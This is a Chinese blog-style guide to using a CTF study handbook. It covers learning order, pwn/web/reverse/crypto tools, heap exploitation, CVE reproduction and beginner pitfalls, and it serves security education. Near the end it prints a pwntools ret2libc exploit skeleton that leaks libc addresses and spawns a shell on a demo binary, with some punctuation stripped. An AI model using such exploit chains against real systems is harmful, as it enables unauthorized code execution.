
简介这是一份面向CTF入门与进阶选手的系统性学习文档围绕夺旗赛常见题型与实战能力构建知识体系适合希望从零梳理知识框架或针对薄弱方向查漏补缺的安全学习者。压缩包内为1个PDF文件约6.69MB内容按基础知识、工具、分类专题、技巧、高级技术、题解与实战等模块组织覆盖Web安全、逆向工程、Pwn、密码学、杂项与移动安全等方向。文档从CTF赛制与学习方法讲起逐步展开Linux与Web基础、汇编与ELF/PE结构、glibc内存管理、密码学数论与分组公钥算法并系统介绍gdb、IDA Pro、pwntools、Burp Suite等常用工具。分类专题部分深入格式化字符串、栈溢出、ROP、堆利用与内核漏洞利用高级篇还涉及Fuzz测试、符号执行、反调试与反编译技术。题解与实战章节结合多个真实赛题和CVE案例给出可参照的分析思路与利用路径。目前已有599人学习适合作为长期查阅的CTF知识手册。1. 从一份“从入门到放弃”的文档说起CTF 全栈学习到底该怎么排第一次认真翻完一份号称“CTF 从入门到放弃”的超全文档我最大的感受不是内容多而是它把 PWN、WEB、逆向、密码学、杂项、移动安全这几条线全摊在一张桌子上新手很容易一上来就迷路。我见过太多人抱着“全栈”的执念今天啃栈溢出明天看 SQL 注入三个月后连一个完整的 exp 都没跑通过。真正有效的路径是先建立“基础知识—工具—分类专题—技巧—高级—题解—实战”这条骨架再按自己的主攻方向往里填肉。这篇就围绕这份 CTF-All-In-One 学习文档讲清楚它适合谁、怎么用、哪些章节该先啃、哪些坑我踩过。网络安全这行资料从来不缺缺的是把资料变成手上功夫的顺序感。2. 这份文档的骨架拆解七大部分各自解决什么问题2.1 基础知识篇别急着打题先把这五块地基垫平基础知识篇覆盖了 CTF 简介、学习方法、Linux 基础、Web 安全基础、逆向工程基础、密码学基础、Android 安全基础。很多人看到“Linux 基础”就跳过觉得自己会用ls、cd就够了结果到了 PWN 题连 ELF 段结构、动态链接、glibc malloc 都看不懂。我一般会这么比把基础知识篇当成体检表逐项打勾缺哪块补哪块。具体来说Web 方向的人至少要把 HTML、HTTP 协议、JavaScript、常见 Web 服务器、OWASP Top Ten、PHP 源码审计这六小节过一遍。HTTP 协议那节尤其关键很多 WEB 题的本质就是构造一个特殊的请求包你连请求行、头部字段、状态码、Cookie 机制都不熟Burp Suite 抓了包也不知道改哪里。逆向方向的人则要把 C 语言、x86/x86-64 汇编、Linux ELF、Windows PE、静态链接、动态链接、内存管理、glibc malloc 这条链走通。这条链不是让你背而是让你在看到一道 PWN 题时能判断它考的是栈、堆还是格式化字符串。密码学基础那部分列了初等数论、近世代数、流密码、分组密码、公钥密码、哈希函数、数字签名。新手容易犯的错是一头扎进 RSA 的公式推导却连模运算和欧拉定理都没手感。我的建议是先把初等数论里的整除、同余、模逆、快速幂练熟再去看分组密码和公钥密码否则就是空中楼阁。Android 安全基础相对独立环境搭建、Dalvik 指令集、ARM 汇编、常用工具四节适合主攻 Mobile 方向的人。如果你主攻 PWN 或 WEB这部分可以先标记为“了解即可”不必一开始就投入大量时间。2.2 工具篇十三件工具先精通三件再谈其他工具篇列了 QEMU、gdb/peda、ollydbg、windbg、radare2、IDA Pro、pwntools、zio、JEB、metasploit、binwalk、Burp Suite、LLDB。这份清单的价值不在于让你全装一遍而在于让你知道每件工具在什么场景下不可替代。我一般会按方向做减法主攻方向必精工具可选工具说明PWNgdb/peda、pwntools、IDA Proradare2、zio、QEMUgdb 看内存和寄存器pwntools 写 expIDA 看反汇编WEBBurp Suite、浏览器开发者工具metasploit、binwalkBurp 抓包改包是核心metasploit 辅助验证ReverseIDA Pro、gdb、radare2ollydbg、windbg、LLDB静态反汇编加动态调试Windows 平台补 ollydbg/windbgMobileJEB、Android 环境工具IDA Pro、radare2JEB 反编译 APK配合 Dalvik 指令集阅读Miscbinwalk、Wireshark 类流量工具foremost、steghide文件分离、流量分析、隐写提取这里有个血泪经验pwntools 的remote、process、recvuntil、sendline、p64、u64这几个 API必须练到不用查文档。我见过有人 exp 逻辑全对结果卡在recvuntil少写一个换行符上调了两小时。工具不是装了就完事是要形成肌肉记忆。2.3 分类专题篇PWN 的九个细分方向决定你 exp 的写法分类专题篇是整份文档最厚的一块Reverse、Crypto、Pwn、Web、Misc、Mobile 六大类。其中 Pwn 又细分为格式化字符串漏洞、整数溢出、栈溢出、返回导向编程ROP、Linux 堆利用上中下、内核 ROP、Linux 内核漏洞利用、Windows 内核漏洞利用。这个细分粒度说明一件事PWN 不是“会栈溢出”就通关了每一类漏洞的利用原语和防御绕过方式都不一样。以栈溢出为例最基础的思路是覆盖返回地址跳转到后门函数或 shellcode。但现代题目通常开了 NX、Canary、PIE、ASLR你就得会 ROP 找 gadget、会泄露 libc 基址、会算 one-gadget 偏移。文档技巧篇里专门列了“one-gadget RCE”“通用 gadget”“使用 DynELF 泄露函数地址”这些就是栈溢出进阶的必备技巧。堆利用上中下三节对应的是 glibc malloc 的不同机制fastbin、unsorted bin、tcache 等。新手直接啃堆题会非常痛苦因为堆的状态变化不像栈那么直观。我的建议是先用 gdb 配合 pwndbg 或 peda把每一次 malloc、free 后的 chunk 结构打印出来观察 fd、bk 指针的变化再去看文档里的利用手法。没有这个观察过程堆题就是玄学。Web 方向列了 SQL 注入利用和 XSS 漏洞利用两节。SQL 注入要分清联合查询、报错注入、布尔盲注、时间盲注的适用场景XSS 要分清反射型、存储型、DOM 型的触发路径。文档没有展开讲每个 payload但给了方向你需要自己补具体的绕过技巧比如空格过滤、关键字过滤、WAF 绕过的常见手法。2.4 技巧篇与高级篇从“能做出来”到“做得快、做得稳”技巧篇里的 Linux 命令行技巧、GCC 编译参数解析、GCC 堆栈保护技术、给 ELF 文件打 patch、给 PE 文件打 patch这些是实战中真正拉开差距的东西。比如 GCC 的-fno-stack-protector、-z execstack、-no-pie这些参数你在本地复现题目环境时必须会用否则本地能打通、远程打不通排查半天发现是保护机制没对齐。高级篇的 Fuzz 测试AFL fuzzer、libFuzzer、Pin 动态二进制插桩、符号执行angr、Triton、KLEE、S²E、Clang、LLVM、Capstone/Keystone、SAT/SMTZ3、反调试技术、反编译技术RetDec、Unicorn 模拟器这些属于“进阶武器库”。新手不必一上来就啃符号执行但当你遇到逆向题里大量分支判断、或者 PWN 题需要自动化搜索利用链时angr 和 Z3 能帮你省下大量手工时间。我一般会这么判断如果你现在做题还停留在“单题单解”那先把技巧篇吃透如果你已经开始打比赛、需要批量分析或自动化再进高级篇。顺序反了容易变成工具收藏家实战能力没跟上。3. 题解篇与实战篇怎么把 writeup 变成自己的东西3.1 题解篇十一类 PWN 题解重点看“为什么这么打”题解篇列了 pwn HCTF2016 brop、pwn NJCTF2017 pingme、pwn XDCTF2015 pwn200、pwn BackdoorCTF2017 Fun-Signals、pwn GreHackCTF2017 beerfighter、pwn DefconCTF2015 fuckup、pwn 0CTF2015 freenote、pwn DCTF2017 Flex、pwn RHme3 Exploitation、pwn 0CTF2017 BabyHeap2017、pwn 9447CTF2015 Search-Engine以及 re 和 web 的若干题解。这些题解的价值不在于背 payload而在于理解每道题的环境约束和利用选择。比如 brop 这类题没有二进制文件只能靠盲打考的是你对栈溢出和程序行为的推理能力BabyHeap2017 这类堆题考的是你对堆布局和 chunk 复用的控制。看题解时我建议带着三个问题这道题开了什么保护漏洞点在哪一行为什么选这个利用原语而不是另一个把这三个问题答清楚才算真正消化。3.2 实战篇CVE 复现是检验学习成果的试金石实战篇列了七个 CVE 复现案例涉及 tcpdump、glibc、wget、GNU binutils 等组件的缓冲区溢出、整数溢出、任意文件上传等问题。CVE 复现和 CTF 题解最大的区别是CTF 题是出题人精心构造的CVE 是真实软件里的漏洞环境更复杂触发条件更隐蔽。复现 CVE 时我一般会按这个步骤走确认受影响版本和编译选项本地搭出和漏洞报告一致的环境。定位漏洞函数理解输入是怎么走到危险操作的。构造最小触发输入先用崩溃验证漏洞存在。再考虑利用判断保护机制和可利用原语。记录每一步的环境差异因为很多复现失败不是思路错而是版本或编译参数不对。这一步一步走下来比看十篇 writeup 都管用。文档里这些 CVE 案例正好覆盖了缓冲区溢出、整数溢出、文件上传几类常见问题适合作为从“打题”到“看真实漏洞”的过渡。4. 避坑与常见问题我踩过的五个坑你别再踩4.1 坑一本地打通、远程打不通现象exp 在本地process跑得好好的换成remote就卡住或崩溃。原因本地和远程的 libc 版本、保护机制、环境变量不一致。最常见的是本地用了系统 libc远程用的是题目自带的 libc。解决用ldd确认本地二进制依赖的 libc 版本题目给了 libc 就用patchelf或LD_PRELOAD对齐同时用checksec核对 NX、Canary、PIE、RELRO 是否一致。我现在的习惯是每道 PWN 题第一步先跑checksec第二步确认 libc再动手写 exp。4.2 坑二堆题一上来就看 writeup现象堆题自己完全没思路直接搜题解看完觉得懂了换一道又不会。原因堆利用依赖对 chunk 状态的动态观察只看静态 writeup 跳过了“观察—假设—验证”的过程。解决先用 gdb 加 pwndbg把每次 malloc/free 后的堆布局打出来手动记录 chunk 的 size、fd、bk、prev_size。哪怕一开始看不懂也要先建立“堆是会变的”这个直觉。等你能自己画出堆布局图再看 writeup 对照收获完全不一样。4.3 坑三Web 题忽略 HTTP 细节现象Burp 抓了包知道要改参数但改完没反应不知道问题出在哪。原因对请求方法、Content-Type、Cookie、Referer、User-Agent 这些头部字段的作用不熟或者忽略了 URL 编码、JSON 格式、分块传输等细节。解决回到基础知识篇的 HTTP 协议那节把请求行、状态行、首部字段、实体主体的结构过一遍。每改一个参数先想清楚服务端会怎么解析它。我一般会先用curl -v发一次原始请求看清楚实际发出去的内容再上 Burp 改包。4.4 坑四逆向题死磕静态分析现象IDA 里 F5 反编译出来的伪代码看了一天逻辑还是绕不出来。原因有些题加了混淆、反调试或者关键逻辑在运行时才解密纯静态分析效率极低。解决静态看结构动态看行为。用 gdb 或 x64dbg 下断点观察寄存器、内存、函数调用顺序。文档高级篇里的反调试技术、Unicorn 模拟器就是为这类场景准备的。先跑起来再回头看反汇编很多死结会自己解开。4.5 坑五资料囤了一堆动手时间为零现象文档收藏了、工具装好了、书签存了几十个真正做题的时间不到十分之一。原因把“收集资料”当成了“学习”用准备动作替代了实战动作。解决给自己定一个硬规则——每看一个知识点必须在一周内找一道对应题目打一遍打不通就看 writeup 再复现一遍。文档题解篇和实战篇就是现成的练习素材别让它们只停留在目录里。5. 我的使用顺序与一个具体技巧从目录到 exp 的最短路径如果让我重新用这份文档带一个新手我会按这个顺序排第一周只啃基础知识篇里和自己方向相关的部分PWN 方向就是 Linux 基础、C 语言、汇编、ELF、内存管理第二周把工具篇的 gdb/peda、pwntools、IDA Pro 练到能独立调试一个简单栈溢出第三周进分类专题篇的栈溢出和 ROP配合技巧篇的 GCC 保护技术和 one-gadget第四周开始看题解篇里最简单的两三道 PWN自己先打打不通再看第五周尝试实战篇的一个 CVE 复现。这个节奏不追求快追求每一周都有能跑通的东西。这里分享一个具体技巧写 PWN exp 时我习惯先写一个“调试版骨架”把交互、泄露、利用分成三段每段之间加pause()或打印标记确认上一段结果正确再往下走。很多人 exp 写成一整块出错后根本不知道是泄露错了还是偏移算错了。骨架大概长这样from pwn import * context.log_level debug # 本地调试用 process远程换成 remote io process(./pwn_demo) elf ELF(./pwn_demo) libc ELF(./libc.so.6) # 第一段泄露地址确认泄露值合理 payload bA * 0x20 p64(elf.got[puts]) p64(elf.plt[puts]) p64(elf.symbols[main]) io.sendlineafter(binput: , payload) leak u64(io.recvuntil(b\n)[:-1].ljust(8, b\x00)) log.info(puts leak: %#x, leak) # 第二段算 libc 基址和 system 偏移先打印核对 libc_base leak - libc.symbols[puts] system libc_base libc.symbols[system] binsh libc_base next(libc.search(b/bin/sh)) log.info(libc base: %#x, system: %#x, libc_base, system) # 第三段二次溢出拿 shell payload2 bA * 0x20 p64(0) p64(binsh) p64(system) io.sendlineafter(binput: , payload2) io.interactive()这段骨架的关键不在 payload 本身而在分段和日志。context.log_level debug能让你看到每一次收发的原始字节log.info把泄露值和计算值打出来一旦偏移算错你立刻能发现。参数上0x20是填充长度要根据实际栈布局改elf.got[puts]和elf.plt[puts]是泄露用的函数地址libc.symbols依赖你提供的 libc 文件必须和远程一致。失败时先看泄露值是不是一个合法的 libc 地址再看system偏移是否对得上最后检查栈对齐——64 位下system有时需要retgadget 做对齐这个坑我踩过不止一次。回过头看这份文档最大的价值不是它列了多少工具、多少题解而是它给了一条从基础到实战的完整链路。链路摆在那里走不走得通取决于你有没有把每一节变成手上跑过的东西。从那以后我每次带人入门都强制要求先跑通一个最小 exp 再谈其他因为只有跑通过一次你才知道自己缺的是哪块。希望帮到你。本文还有配套的精品资源点击获取